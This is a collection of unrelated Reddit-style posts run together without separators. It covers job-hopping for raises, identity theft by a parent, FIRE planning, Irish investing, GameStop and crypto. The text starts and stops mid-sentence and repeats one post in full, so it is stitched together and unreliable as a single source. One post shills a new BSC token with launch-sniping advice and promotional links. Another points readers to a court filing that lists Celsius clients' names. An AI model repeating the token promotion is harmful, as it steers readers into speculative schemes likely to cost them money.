put it toward something, I am afraid. We just finished putting our accounts together and have a savings and emergency fund stocked up! +TL;DR: Get a job, get a min of 2 years experience doing what you're doing now, apply for another job one step above what you're doing now to get the benefits at the next level faster. + +--------- + +This applies more to people in areas where there are more jobs to switch between. + +I always thought that I would get rewarded for my longevity with a company. I thought that sticking around and doing all of the work requested of me would get me promoted, at the very least get me a raise. I worked retail at one company for 5 years and never once was I considered for a promotion or raise. + +I got a hand up and ended up in cubicle land. After a year, my coworker told me that if I wanted a real raise that I needed to apply at another company doing something similar to what I was doing there, but with the title I wanted. I didn't want to believe that was the reality, I didn't want to believe that I had to leave my job and these people. But I finally did it after 3 years. I started making SO MUCH MORE and finally could start saving. + +IMPORTANT NOTE: I was not used to how much money I was earning at the new job, filled my expenses to the brim, and it took me another 2 years to learn to stay within a budget. + + +EDIT: apologies for using always in the title, it's not always. There are situations for some people who simply cannot do this, and there are sceneries where it doesn't make sense. Always use your own discretion and focus on what matters most to you. But for those who are frustrated with the amount they make and have a goal to change that, this is one of the fastest ways to get a leg up. +So, my mother helped me set up my first credit card, and kept my information. In 2014, she quit working and I started supporting her, believing she would go back to working in 2015. She did not, and until last month, I fully financially supported her. About a year ago, I discovered she had kept my first card open, had racked up $9K on it, but paid it down to $6K. She promised she’d really needed it and was paying it off to close it. +Fastforward, my sister got into law school in the Netherlands, my mother goes with her to get her settled/stay indefinitely. +In an email, letting me know how they are, she casually mentions three credit cards I was unfamiliar with and how I would have good credit by the time they were done. So I called the companies—turns out, between 3 cards she had taken out in my name, as she lived with me bc I supported her, she had racked up almost $25K in debt. + +I literally cannot afford to pay this. When she left with my sister, I discovered additional $1K+ in expenses in my name. +Because we shared an address, one CC company has found this not to be fraud and that I am liable for the debt. My other option is to file a police report. On my mother. Who is out of the country. + + +I do not know what to do. What are my options? Oh, she also cosigned my name to a student loan when she was getting her second bachelor’s degree. + +Options, please. Please. +Two months ago I was offered a great job, with fantastic pay, with the small catch being that it required me to move 350 miles away into a new state with no familiar faces. At this point I had lost everything that had value to me, monetary or otherwise, due to some bad decisions. My mother reluctantly gave me her car and some cash, with a promise that I would repay her. + +Last week new management at my new job, decided to cut costs by cutting labor. Which meant laying off the newest employees: which included me. + +Now I'm broke, I moved back home to make the little bit of cash I have last. I havent paid back my mom, and she's leaving the country with my father, leaving my locked out of the house. In the 7 days I've been home, I've sent in dozens of job applications, and while those may eventually lead somewhere, it might takes months to find a career job. So in the meanwhile, my friend hooked me up with a gig as a pizza delivery driver. + +I don't have a couch to crash on, or other family to stay with. I don't think I have any other option but to sleep in my car. I'm 21 in California. What steps can I take to make this easier, and get me out of this hole I'm in? + Posting for [u/MauerAstronaut](https://www.reddit.com/user/MauerAstronaut/) . Link to original post: [https://www.reddit.com/r/DDintoGME/comments/pf2rko/about\_that\_trimbath\_tweet\_otc\_trades/](https://www.reddit.com/r/DDintoGME/comments/pf2rko/about_that_trimbath_tweet_otc_trades/) + +# [𝗗𝗮𝘁𝗮](https://www.reddit.com/r/DDintoGME/search?q=flair_name%3A%22%F0%9D%97%97%F0%9D%97%AE%F0%9D%98%81%F0%9D%97%AE%22&restrict_sr=1) + +*Disclaimer: This post does mention bankrupt companies. I am not telling you to invest, quite the opposite.* ***In*** ***Ape: The bananas of the companies mentioned here are poisonous, stay away.*** + +I was investigating what apes call "baskets", and in the process I discovered a company, Washington Prime Group (WPG). They defaulted in February, and the dates are clearly visible in their chart. + +&#x200B; + +https://preview.redd.it/nh4nq80dspk71.png?width=1012&format=png&auto=webp&s=ee24f5a17e076c8be2a94d96f930234ca304cd2e + +Chart from Tradingview. + +I bet you got distracted by these other movements, didn't you? Peak on the 27th of January, YTD low just before March with big volume right after. Drop after March 9th, then a spike in June with massive volume---they traded more than 5 times their shares outstanding that day---until you know which date. + +Fascinating. Imagine my senses tingling when Susanne Trimbath made her Tweet, asking what rules exist as to who can trade delisted companies OTC and how. So wanting data I did a quick websearch, only to be mocked by a [fool](https://www.fool.com/investing/how-to-invest/stocks/delisted-stock/). The stock they used as an example is Sears Holdings. There is a chart in there, but it's over the span of several years. So I took the liberty of pulling a YTD chart of Sears, a company that was delisted years ago, for you. Here it is, in all its glory. + +&#x200B; + +https://preview.redd.it/5zleurwdspk71.png?width=1012&format=png&auto=webp&s=2a6c2d84c1a125918df3439ce54845b9313de7b5 + +Image from Tradingview. + +Ryan Cohen made his Tweet with a Sears building torn down on the 3rd of June, in case you were wondering. + +Blockbuster: + +&#x200B; + +https://preview.redd.it/1dsrbcuespk71.png?width=1012&format=png&auto=webp&s=b7f1bef5f73532f2e5432e5dacda0739ffb3b8bd + +Image from Tradingview. + +Edit: Incase you have questions, I have elaborated a bit in this [comment](https://www.reddit.com/r/DDintoGME/comments/pf2rko/about_that_trimbath_tweet_otc_trades/hb1g981?utm_source=share&utm_medium=web2x&context=3). +I've seen similar posts, but didn't really see any answers that fit our needs. We don't need to be near tech jobs and can live anywhere in the lower 48. Our main focus is somewhere that has a good school system and decent weather (not scorching hot) . + +Sorry if this is not "fat" but I don't know where else to post, I've tried similar threads in the past on other subs that have been removed for being off topic. +We are considering hiring a second housekeeper/nanny who would work full time. Our current one is part time and doesn't live with us. We are wondering if anyone has tried both live-in and not, and what the pros and cons are of both. Our house is not huge and we would need to provide them with a bedroom, but then we wouldn't have a guest bedroom. We have a bedroom in the back of our detached office, but that might not work well. That said, it would be very convenient to have someone who is around more, so that we could split up the hours more weirdly (instead of 8am-4pm, doing 8-2, and 5-7, for example). What are your experiences and things that we should keep in mind? +With all the Fair craze going on, this is your next play of the day! Just another fork, 500+ people in the Telegram channel and a pre-sale that didn't get botted but was nicely filled up within 10 minutes. + +Try to snipe at launch and you're in for a ride. Remember to take small profits along the way and don't dump, so that we will make it all! + +&#x200B; + +**TOKENOMICS** + +* Total Supply: 1,000,000,000,000,000 +* Presale: 250,000,000,000,000 +* PancakeSwap: 200,000,000,000,000 +* Burn: 520,000,000,000,000 +* Marketing: 25,000,000,000,000 (Locked) +* No DEV tokens! + +&#x200B; + +**Details** + +* Bscscan: [https://bscscan.com/token/0xF89E58400e4726DFa63B04c9e2b34c808270ffbf](https://bscscan.com/token/0xF89E58400e4726DFa63B04c9e2b34c808270ffbf) +* Chart: [http://poocoin.app/tokens/0xF89E58400e4726DFa63B04c9e2b34c808270ffbf](http://poocoin.app/tokens/0xF89E58400e4726DFa63B04c9e2b34c808270ffbf) +* Pancakeswap: [https://exchange.pancakeswap.finance/#/swap?outputCurrency=- 0xF89E58400e4726DFa63B04c9e2b34c808270ffbf](https://exchange.pancakeswap.finance/#/swap?outputCurrency=0xF89E58400e4726DFa63B04c9e2b34c808270ffbf) +* Telegram: [https://t.me/fairfoxfin](https://t.me/fairfoxfin) +* Website: [https://fairfox.finance/](https://fairfox.finance/) +I'd love to hear anybody's direct experience with [Long Angle](https://longangle.com/index.html). I saw that they have an online forum--how does the conversation compare to this sub? Less interested in the deal flow and more interested in what the conversations and people are like. Thanks! +I just discovered this sub and am so delighted it exists! I'm in the process of exiting employment now and should be retired within a month or so (still negotiating final terms and timetable with employer). However, I'm not sure I'm quite ready to FatFIRE (financially or emotionally), as this is all happening a bit sooner than I'd expected. The timing was suddenly accelerated by recent changes at my employer, so I'm feeling a little unprepared and definitely wishing I'd discovered this group years ago and done more planning. Skimming through here it's clear many of you are much better prepared and have a lot of knowledge I'm excited to absorb. + +My startup was acquired by a large company (one of the FANGs) some time ago and I'm working there with W2 earnings over $500k and RSU equity pushing total comp over $1M in most recent years. My vague plan had been to probably FIRE sometime toward the end of '19 when I'd easily have over $10M banked between liquid investments (75%), unsold RSUs (20%) and 401K (5%). At the moment, I'm \*just\* short of $10M, probably $9.6 or .7-ish. + +I'm embarrassed to admit, I've never been much of a planner nor particularly good with finances. I arrived at my $10M number based on little more than always hearing it was supposed to be "FU money." My only excuse for lack of a better plan is I actually enjoy my work a lot and so haven't really been itching to retire, keeping our timing variable. But with the new year, things are changing unexpectedly at big company and it's clear it's about to get a lot less fun for me. + +I'm near mid-50s and wife is early 40s. She stopped working to stay-at-home when our son was born. He's now in mid-elementary school and we live in S. California but outside a major city, call it roughly upper end of MCOL. We paid off our house after the acquisition and it's worth \~$1.5m, so NW is \~$11.5 with no debt or major expenses on the horizon. We're both in good health and active. Based on family histories, BMI and lifestyle we're likely to need to cover 40-50 yrs. We'd like to leave maybe around $5M to our son which we figure in 40 years won't be enough to FIRE but enough to boost his own efforts. + +Ongoing income needs: we're still working the numbers but first pass looks like we spent around $125-140k last year living comfortably but not extravagantly (no mortgage sure helps). Going forward we'll need to cover health care but haven't priced it yet. Also, since I'll not be working long hours, we'll probably spend more on doing stuff and travel. So, we think our target range should be around $160k/yr for FIRE - up to around $250k for full FatFIRE. Fortunately, we don't have much in the way of fixed costs and neither of us have super expensive tastes or hobbies, making our range scalable. Full FatFIRE for us would largely go to discretionary upgrades like more vacation trips, business class travel, Four Seasons vs. Marriott and eating out more often. + +**Questions** + +1. We'd like to think we're in decent shape but we've only ever put money in - so we're newbies at income and distribution. We've read the 4% thing and are hoping 4% of $9.7M is enough to net $250k post taxes - but have heard California taxes are pretty awful for higher-end FIREees. Are we good, on the edge, or should we be trimming some fat from our FatFIRE dreams? +2. We'll need to reconfigure from the long-term medium-aggressive growth mix of index funds we've been in to something more appropriate for our new FatFIRE life. Also, need to start unloading the 20% still in employer RSUs to diversify. Would appreciate any insights on approaches. Is it time to get a fee-based expert involved? +3. Are there specific things to watch out for when rebalancing the portfolio to avoid triggering tax consequences? Unfortunately, our tax guy isn't very good on investments and our investment guy isn't very helpful on taxes. + +Any other things we should be thinking about from a "we're behind on planning this" triage or first-things-first perspective? This weekend we're feeling a strange combination of giddy excitement and nervous trepidation contemplating the life change in front of us and all the new things we need to learn. +I’ve put offers on two houses now and both realtors have asked me to sign a contract with my offer so they can present that to the seller. What’s the deal with this? It feels like they’re either purposely trying to bide time or perhaps some kind of psychological engagement strategy + +Is there a better sub to ask this question? + +Thanks +Just wanted to give a shout out for everyone who feels the same as me. At the beginning of this guacamole I was really new to the stock market and there were times I was afraid and needed some backup (I always found it here, thanks to you all!). But I trained my psychological karate and in the meantime I realize I am in full zen-mode. + +I watch the ticker just one or two times a day and then I start upvoting a lot on superstonk. If I got some money left I buy more of my beloved stock. Then I send it to DRS from Europe and that's all. Waiting patiently for the rockets engine to heat up, while my eyes gaze upon the stars. I will gladly to this over the next years if they drag this out while I am totally aware the ship could start every day! What a time to be alive, I hope you can feel it too! Love you all! ❤🦍 +[GameStop.com](https://www.gamestop.com/) || Shop [Internationally](https://www.reddit.com/r/Superstonk/comments/vyyzmx/gamestop_retail_international_nft_game_informer/) || [NFT Marketplace](https://nft.gamestop.com) + +GameStop [Investor Relations](https://news.gamestop.com/) + +# 🙋 ​[What's GME & should I consider investing?](https://www.reddit.com/r/Superstonk/comments/qig65g/welcome_rall_looking_to_catch_up_on_the_gme_saga/) + +# 📚 Library of Due Diligence [GME.fyi](https://fliphtml5.com/bookcase/kosyg) + +>A collection of over 200 of the most important, groundbreaking **D**ue **D**iligence. If you're looking to familiarize yourself with the GME bull thesis or the underhanded tactics of the short sellers involved in this trade– then this is for you + +# 🟣 [Computershare Megathread](https://www.reddit.com/r/Superstonk/comments/xxh13d) 🎃🐦 + +>Wondering what DRS is? Want to know how and why people are Direct Registering their shares? Here you'll find our guide and additional resources, as well as a welcoming community answering questions in the comments! + +🏴‍☠️ [NFT Marketplace & Wallet Megathread](https://www.reddit.com/r/Superstonk/comments/vluysg/gamestop_nft_marketplace_wallet_megathread/) + +>Why is GameStop getting into NFTs? *WTF* even is an NFT? How do I set up a GameStop Wallet? How do I get a cool/custom wallet address? All these questions and more are answered here! + +**Read** [**the Rules & Wiki**](https://www.reddit.com/r/Superstonk/wiki/index) **||** [**MOASS FAQ**](https://www.reddit.com/r/Superstonk/wiki/index/faq) **|| Join our** [**Discord**](https://discord.gg/Superstonk) + +How to [feed DRSBOT](https://www.reddit.com/r/GMEOrphans/comments/qlvour/welcome_to_gmeorphans_read_this_post/). Low karma? Post your DRS on r/GMEOrphans + +How to [Filter by Flair & Search](https://www.reddit.com/r/Superstonk/comments/v0oxp2/how_to_filter_by_flair_search_for_posts_on/) on Superstonk + +Tag u/Superstonk-Flairy for user flairs, find [custom emoji options here](https://www.reddit.com/r/Superstonk/comments/v89p0h/new_superstonk_user_flair_emojis_how_to_edit_your/) +I see a lot of people asking about investing small sums (up to 1k a month). I've always seen investments as something with very small returns unless you're investing large sums of money. + +If I have 1k a month I'm able to invest, what kind of returns am I looking at realistically, Vs leaving it in a savings account? Just ball park figures. + +Thanks +Out of college I joined a financial services company. The gig was fabulous. I was able to pitch to senior executives, run my own projects and develop my business skills. + +To match my excitement I purchased a $140,000 condo, a bunch of new clothes and drove around town in a brand new car. + +But in this new found independence I ‘forgot’ to invest in my 401k plan. To be completely honest, after two years of education at a top Boarding School, four years at a top University, and growing up in a loving and supportive family my reaction was: + +“Eh, Whatever.” + +Stupid decision for a kid right out of college right? + +Einstein once called compound interest the eighth wonder of the world. The reason is because if I had contributed 6% of my salary along with my company match for those three years and never touched it again I would have $400,000 by retirement. That’s right, $400,000. + +It wasn’t a just stupid decision, it was a monumentally stupid one. + +I lost close to half a million dollars by being lazy. + +Sadly, this is the case for many people as the r/personalfinance group talks about often. + +There's a simple plan you can execute quickly that will save you the money I lost. + +- Call your HR office and ask them about their 401k plan. Ask them specifically "how can I automatically contribute a portion of my salary into a low cost index fund?" + +- Follow the steps they provide you to auto enroll + +- At the very least sign up for contributing 1%. Everyone can give 1% of their salary. + +- If you get overwhelmed by choosing the investment option go with a target date mutual fund (e.g., "Vanguard's Target Date 2050 Fund") + +I recommend sitting down and doing this all in one sitting. It will take 2 to 3 hours. But man, it's one of the best things that you can do for your family. +How do I make her see? She’s 55 now and has no savings, no pension and just the house with around 20k left on the mortgage. I’ve tried explaining to her that selling the house won’t go far in the long term and does she really want to live off of a measly pensioners state pension? She’s never been a high earner and I think the amount you get in your pension is related to how much you’ve put in over the years? + +I don’t know what to do because I know she’s going to end up wanting me to give her money which I’m happy to do up until a certain point, I also can’t bare to see her struggle and want her to have a relaxing retirement. + +Any advice would be good I have tried speaking to her but she doesn’t want to listen. + +Thanks everyone. +After reading 'Does your spouse know how much you earn '. + +Discussing moving in together. + +My house. Paid off, no mortgage. +I'm on 46k. 3k a month take home after deductions. + +I have 200k in savings/investments. + +Looking to put 1k towards pension a month. 1k towards vanguard all cap pcm and 1k left for living on. + +I'm 45. + +Shes 39. +Earns 20k. +Has a kid. +Has a flat with a mortgage. +Wants to work part time therefore earning less. +Wants to take a few months off in the summer to move in and take stock of life and change jobs. + +She's a spender, I'm a saver. + +She knows what I earn and vice versa but I haven't told her that I don't have a mortgage yet or that I have 200k. + +So far we've discussed housing. She wants to move in with me and rent out her flat. She might get a couple of hundred per month out of the flat after the mortgage. + +I was going to open a joint account and add 1000 a month and ask her to add 500 a month. + +I told her she can lean on me financially for a few months while she changes jobs etc. + +Any advice? + +Am I paying enough? Too little/too much? + +From reading the 'spouse & earnings' post, full salary and budget disclosure seems to be the way to go. + +However I'm hesitant to tell her that I have 200k. +She like spending and I am anxious that she might want to use some when I want to save it for retiring in 10yrs time at 55. + +Thanks. +After reading 'Does your spouse know how much you earn '. + +Discussing moving in together. + +My house. Paid off, no mortgage. +I'm on 46k. 3k a month take home after deductions. + +I have 200k in savings/investments. + +Looking to put 1k towards pension a month. 1k towards vanguard all cap pcm and 1k left for living on. + +I'm 45. + +Shes 39. +Earns 20k. +Has a kid. +Has a flat with a mortgage. +Wants to work part time therefore earning less. +Wants to take a few months off in the summer to move in and take stock of life and change jobs. + +She's a spender, I'm a saver. + +She knows what I earn and vice versa but I haven't told her that I don't have a mortgage yet or that I have 200k. + +So far we've discussed housing. She wants to move in with me and rent out her flat. She might get a couple of hundred per month out of the flat after the mortgage. + +I was going to open a joint account and add 1000 a month and ask her to add 500 a month. + +I told her she can lean on me financially for a few months while she changes jobs etc. + +Any advice? + +Am I paying enough? Too little/too much? + +From reading the 'spouse & earnings' post, full salary and budget disclosure seems to be the way to go. + +However I'm hesitant to tell her that I have 200k. +She like spending and I am anxious that she might want to use some when I want to save it for retiring in 10yrs time at 55. + +Thanks. +Yesterday, news emerged that Celsius filed a 14500 page document containing names of clients and their deposit and withdraw addresses. This means that if you ever put any coins on Celsius, you have been doxxed. + +Here's an example of what they looked like: + +[ Note that while wallet addresses are not directly shown, one only needs a blockchain explorer to find out which addresses paid or received a certain amount of tokens to\/from Celsius any given day. Thus, your wallets can be linked to your name. ](https://preview.redd.it/8a93kbrxhts91.png?width=916&format=png&auto=webp&s=4ba9ef8a29cc0a791126f291ff5f1f16c6d000bb) + +While wallet addresses are not directly shown, one only needs a blockchain explorer to find out which addresses paid or received a certain amount of tokens to/from Celsius any given day. Thus, your wallets can be linked to your name. + +The file has been deleted, but later published again by Gizmodo to the internet archive, to then be deleted again by the internet archive team ( + +**Should I worry?** + +While this is a clear attack to the clients privacy, this shouldn't be a danger to most people. It becomes dangerous when/if you're a political activist prosecuted in your country, a tax evader or a criminal. + +Otherwise, you shoudn't worry too much, **but you still must take actions to preserve your privacy.** Not doing so can leave you vulnerable to "social engineering" attacks and scams. Here's my proposal: + +1. Find a non-KYC exchange of your liking. Open an account. +2. Send your tokens to your new account on that exchange. +3. Create a new wallet and send the tokens from the exchange to the new wallet. + +* Remember to test steps 2 and 3 before sending big amounts. + +**This will not make your tokens completely untraceable**, but it will keep you hidden from prying eyes (aka people using the blockchain explorer to doxx you). The only way someone could know your identity then is with the Centralized exchanges cooperation. + +\-----------------------------------------What this document also revealed----------------------------------------------------- + +Another information that this documents revealed, is that Mashinsky and his wife withdrew 12M$ in tokens just a few days before blocking withdrawals for users. Mashinsky was interviewed before and after the day they withdrew, and said they didn't withdrew at all on both occasions. + +The interviews can be seen in this Cofeezilla [video](https://www.youtube.com/watch?v=oaRrRhEcmpo). + +\-------------------------------I want to know if I've been doxxed. What can I do?---------------------------------------- + +1. Go to [https://cases.stretto.com/public/x191/11749/PLEADINGS/1174910062280000000005.pdf](https://cases.stretto.com/public/x191/11749/PLEADINGS/1174910062280000000005.pdf) (thanks to u/slasula for the link) +2. Go to page 34 and click on the first letter of your first name +3. This will link you to a new document containing all Celsius clients with a first name starting with that particular letter. Addresses are "redacted", but it is very easy to find out about them using a blockchain explorer. +Hey all, + +I've increasingly started seeing buy now pay later options whenever I shop or browse online. I'm not against the whole concept, I quite like it as I found Klarna and PayPal credit quite useful, but I've started noticing it more and more. Granted I am fairly young (21), but I have been using the internet since earliest od childhood, and I never saw so many credit financing options. + +Is it just me, was this always a thing just under a different name and contract, or is this actually fairly new? +...as an investor who began my career right before the dot-com bubble burst and invested through the Great Recession, take some comfort in the fact that this experience is providing you younger investors with the perspective necessary to be successful over the long term. If you observe early in life that that there are relatively equal forces at all times trying to make money both on the long and the short side of any asset class, it will give you more opportunity to find long-term success. It's my opinion that without losing your ass once or twice, you can't possibly become a great long-term investor. + +Take heart in the potential that is being created in you. If you keep the memory of this and use it to grow, you'll have an advantage going forward, be better attuned to risk and speculative market behavior, and you'll give yourself more opportunity to generate higher long-term returns. + +I wanted to give it all up in late 2000...but for whatever reason I stuck with it, and it was worth it. If investing has called to you as a career or hobby, that is a great thing. + +Just my 2c. Good luck out there. + +P.s. I apologize if this sounds pretentious or anything like that. Definitely not my intention. + +--- + + + +Edit: I really hope the following is helpful, and sorry for the crap formatting. + +**TL;DR** - You all know FOMO/FUD really well, and that can be used in more established markets to make solid returns. Measuring risk is as important as measuring your potential returns, always compare. People with no investment experience jumping into an asset class/tons of top-down analysis on an asset class usually means its close to a top. Your experience has value, so don't look at your bank account as the only asset you have...you've all gained experience and that has tons of value, sometimes more than you've lost in money. More investor activity doesn't always equate to more buying, but more balance/rationality, which for an overheated/risky asset can lead to more selling. + +--- + + +I was asked by u/Cryptomoolah about examples of investment learnings I have gathered over the years, so here goes… + ++ You guys have experienced some crazy FOMO/FUD levels, so watch for that in more established industries. People still sometimes work themselves into a frenzy over really big markets…oil/gas, financials, pharma, retail…guess what? These are gigantic markets with insanely huge infrastructure underneath them, and they end up weathering BS market sentiment over time much better than people realize, but when FUD hits these guys, look the opposite way. This worked for me well during the recession…NFW all those giant companies were going out of business, and I got some great basis in some very established names. Works same for FOMO …people think we are going to run out of oil, and price of oil goes to $150 and oil stocks skyrocket? We aren’t running out of oil anytime soon, so good idea to reduce your position. Watch for frenzied thinking…you’ve all just graduated with a college degree in FOMO/FUD. ++ Every investment comes with an implied risk measure associated with it. I think about this absolutely every day, every time I choose to deploy capital. You think something can go up 10x? Well, if there is an equal chance it can be down 90%, then (simplistically) you are looking at a 0% risk-adjusted return…and I’d look at other opportunities. There is no such thing as a financial return that didn’t have risk associated. **Being a good investor means accurately assessing the risk associated with an investment, and measuring your potential return relative to that**. There are complicated formulas around risk measures, but I personally like to think about it simply relative to volatility. It’s just a proxy, but it works…i.e. what is the maximum this asset could fluctuate in price before I’d really be surprised? That gives you a sense of the underlying risk, and therefore how much you need it to “return” to you for it to be worth it. It’s not perfect, but it can keep you out of trouble. For example, some people would say that venture investments usually have a 30-50% risk premium associated, so funds typically need to see a path to returns above that measure to have a positive risk-adjusted return ++ One of my go-to’s (which again, isn’t perfect but something I’ve seen happen) is when retail investors start pouring into an asset class, especially with margin, you are closer to a top than you realize. ++ **Top-down analysis is a killer**. Hearing how big the market could be and what percentage market share the product will take? That is empty analysis and it absolutely ravaged investors during the dot-com bubble. I mean annihilated. SO many investments based on that flawed thinking. ++ Business model sustainability can get lost during euphoria. Can the businesses being invested in ever really turn a profit, and sustain themselves? What happens when things get more competitive, outside capital dries up, etc? ++ To my earlier point about symmetric pressures on asset classes, one of my good friends asked for my opinion prior to the CBOE opening options trading for bitcoin. At the time, I advised him against investing, simply because options entering a “long-only” situation will pretty much 100% going to focus on shorting. I didn’t do a particularly good job of convincing him though, since he went in anyway. At the end of the day, more exchanges, more funds, more volume, more investors doesn’t just equate to more buying. It equates to more **balance**, which as the size of the asset class grows, the pressure for balance increases. Keep that in mind too with all this ETF stuff… ++ One very successful, smart PM I knew a long time ago said that if an investment you bought is down 20%, sell it regardless of how much you believe in it. What he meant was you aren’t as intelligent as you think you are, and therefore sometimes mistakes you make are not visible to you right away. An investment you went into that is down 20%, in his mind, is more likely a mistake than a temporary market glitch. He’s basically saying you got the risk-adjusted return wrong, so bail. I admit I have ignored this concept throughout my career, and I have usually been killed for doing so. ++ As far as making you feel better or dealing with being down big, look at it this way: Everything you have is an asset. Your money, your relationships, your reputation, your mind, your experience, your word. So you used to have $60k and now have $20k? You gained $40k of market experience. I could see betting long-term on an investor who has $10k after losing 90% of his/her original principal before I would bet on that same investor with $100k without that experience. Fact is, over the long term having a healthy respect for financial loss/down markets is absolutely necessary for long term success. Don’t throw that away, but cherish it, nurture it, and weave the experience into your evolving investment philosophy. + +Couple other things to watch out for (not necessarily avoid, just increase the risk measure): + ++ Investments where you are only investing in the quality of the “team” (happens in every market, not just crypto) but without a viable business model, ++ Investments where the business is providing a solution where there isn’t a problem, ++ Investments with fundamental structural problems (no leverage over the supplier or customer, investments where revenue growth is driven dis-economically with no path to sustainability) + +Again, just my 2c. My mentor would say you never take 100% of what anyone is saying based on their own experiences, but usually in any person's experience there is always something in there that you can take that is valuable. I hope I have provided something of value to someone. + +--- + + +Edit 2: +Thanks to everyone for the kind responses! This is far and away the most engagement I've ever had with a post, and I so appreciate everyone taking the time. + +As a few of you pointed out, I was incorrect with my risk-adjusted return example. I used an incomplete example that I will often use in venture investing, but stated it incorrectly and I apologize. The base concept is still valid, I.e. think about downside and incorporate that into your thinking about upside. But the corrected version would be if your investment has a 10% chance of a 10x and a 90% chance of a zero (a stereotypical VC investment scenario) then it's basically a 0% risk adjusted return. In reality, and I touched on this in my response to u/Astrocat15 who pointed out the error, the average investor would also have to come to terms with the possibility of being wiped out and whether that was an outcome that could be accepted, which for most people is not... + +Personally, if something seems to have a ton of upside, a ton of downside and I can't get my arms around how to value the thing or weigh the scenarios, I lean towards overweighting the downside and will probably look elsewhere . I might still gamble for fun though... + +Thanks everyone, good luck! +I'm imagining it happening like the infamous and recent, "Josh fight" and how now that it's over, everyone and their deranged uncle Jeff is trying to replicate it for one reason or another. + +I think the term, and just the overall situation in general regarding a short squeeze, will be overused and/or called out much more frequently from now on. As those that missed out are desperate for another one, or those that just think it will happen again because they just don't understand how rare of circumstances they require. + +I think we will be seeing a lot of posts about, "potential squeeze this" and "potential squeeze that" in the next coming weeks/months. + +Edit: spelling and grammar. + +Edit II: THANK YOU! 2 Y/O ACCOUNT AND THIS IS MY FIRST AWARD EVER!! +Hi all, + +My name is Michele, I am an Italian living in Dublin, Ireland for 4 years now. + +I would like to invest some savings long term with an initial deposit and a fixed amount per month. + +My doubts are about the broker to use (I have heard of MoneyFarm in Italy, Degiro for other countries in Europe) and how to invest it. Some questions below: + + \- Tax wise how this would work if I move from Ireland to somewhere else in Europe? + + \- Can I use MoneyFarm (which should be available in Italy only) even if I am resident in Ireland currently? + + \- What happens if I use a broker available in Ireland but not available in the country I will move to in a years or so? + + \- Any suggestions about what kind of investments you would recommend is really appreciated (I am thinking about some index funds, like Vanguard for example, but open to different ideas) + +&#x200B; + +Thanks in advance +Here's my situation: +I'm 33 y o software developer. No debt, no savings, no assets. I live and work in Croatia. In the past I was living and working in France and Austria, and although I had higher salary I was miserable so I moved back to Croatia couple of years back. + +My gross salary currently is around $32k. It comes to approximately $2k monthly net. +By December my US girlfriend will move here and we will get married. +So, although plan to move to Germany or somewhere in EU is technically on the table, because of my gf that is last plan I will use. Moving from US to EU will be enough stress for her. + +So what are my best options to make my future more comfortable? +I was thinking, first and foremost, building emergency savings for 6 months worth of salaries. +Should I save money for down payment for house mortgage? Or is it better to save some money which I could invest? Or is there some 3rd better path I should take? +Thanks for ideas +I am wondering if anyone has advice or experience with investing while based in Ireland. + +As I understand it, ETFs, whilst popular here on Reddit, are subject to DIRT tax at 41% upon withdrawal which makes them significantly less appealing over here. + +Here is a brief rundown of my situation and short-term goals: + +- No debt or CCs +- €70k gross salary +- 5% company match on pension +- €12k emergency fund +- No other assets (nor a car) + +I've lived abroad for a long time, traveling and working, not necessarily saving money. I'm an Irish citizen, and enjoyed my years abroad but decided it was time to return home for a while. I don't have any specific long-term goals to save towards, but I do entertain the idea of buying a small bar or hostel in the south of Spain and either move there to manage it while working remotely, hire a manager or just do it later in life and have a working retirement (I speak Spanish and lived there for several years; it's quite possible I would do this). But, that's only a fun idea and nothing concrete or planned, so, for the purposes of this post, let's say my goal is to build up about €200k in assets I can use for further investment in the most feasible timeframe. + +Regarding pension: + +The maximum I can add to a contributory pension is (as I understand it) 20% of my gross salary, i.e., €14k per year. My company would match 5% or €3500, myself making up the other €10500. Although I don't particularly want to work until retirement age (or 50/55 when I can withdraw this money), there is a significant tax benefit if I invest the maximum -- €4200 per year saved in taxes, to be specific, although my take-home pay is correspondingly lower by about €350 per month. I guess this is the responsible approach -- I could, in theory, take the tax hit but have more money to invest and potentially see greater returns on within my 10 year timeframe, but investing the maximum into my pension would also have its benefits, foreseen and unforeseen. My first question - is this wise? Does anyone have any comments on this practice? I am not risk averse, in general, but it seems more prudent to max out the pension and go with slightly less in hand for other investments. (For anyone reading this who is not familiar with Irish taxes, I would net about €40k per year after tax and pension contribution) + +Expenses: + +I'm not entirely settled into my new job or city just yet so I don't have exact details of my expenses, but based on the current cost of living and prior spending habits I estimate I will have about €1300 available every month for investing. This is a conservative estimate, it could well be higher, but let's say €1300 per month for now. Any additional expenses I might have over the next few years (e.g., further study) are accounted for in that figure. No kids and no plans to have any, nor a desire to get a mortgage. + +Investing: + +Of this €1300, I am considering a product like similar to the Irish Life Multi Asset Portfolio fund at levels 3,4 and 5. Management fees are very approximately 1.9% on these, which seems a little high but I'm too ignorant to know any better. + +My vague idea of a spread is like this (using the above product as an example): + +- 60% into [MAPS 4](https://www.irishlife.ie/investments/irish-life-maps/funds/multi-asset-portfolio-fund-4), moderate-high risk +- 25% into [MAPS 5](https://www.irishlife.ie/investments/irish-life-maps/funds/multi-asset-portfolio-fund-5), high risk +- 15% into [MAPS 3](https://www.irishlife.ie/investments/irish-life-maps/funds/multi-asset-portfolio-fund-3), moderate-low risk + +The idea being that the pension plan will give me a little security, and my expenses and a bit of fluid cash are factored into my balance available for investing so I'm ok with assuming a little bit of risk in the investment portfolio, but within a reasonable amount so that even if the markets do go to shit and my dreams are destroyed, my day-to-day life will continue. + +I've ran through all the numbers myself, and assuming (I know) these investments don't fluctuate too wildly, after five years of about €1300 per month, I would have somewhere in the area of €100k from their value, plus about €70k in the pension. Which gives me a lot of options on how I want to spend the next five years (which is probably my ultimate goal in all of this). + +So, **my final questions**: + +1) Are mutual funds recommended for Irish investors, or do you suggest anything to replace or complement this plan? Considering taxes and other conditions, from an Irish (or general) perspective. + +2) Would you advise a 31-year old with no debt and a moderate risk tolerance to invest like this, or can you suggest any alternative? + +3) Any tangential advice or recommendations you might have to make. + +I have a meeting with a financial advisor next week but I'd like to go in with as much info as possible. + +Thank you for reading and I hope you've had a wonderful holiday break. + + + +My girlfriend owns a house (paying it off). I am renting so we are planning to live together at her place. She wants to keep the house to herself as an investment. Later on then we would buy a house together (and she will then rent out the current house). + +So we are trying to figure out which would be the best financial arrangement. Image we just share all costs (electricity, food, etc). As I don't pay for the installments, I would practically be living there rent-free. That doesn't seem correct to me. + +What would be the best way to determine an amount of 'rent' that I could pay her every month just for the housing? Next to that, of course we plan to just split all utility bills, groceries etc. +So this is the first post for me on this subreddit. + +I'm 21M and am saving 1500eu a month. But I only get 0.05% interest, so I am looking for advice on how to start investing what should I invest in etc. + +I allready saved 29k and am just 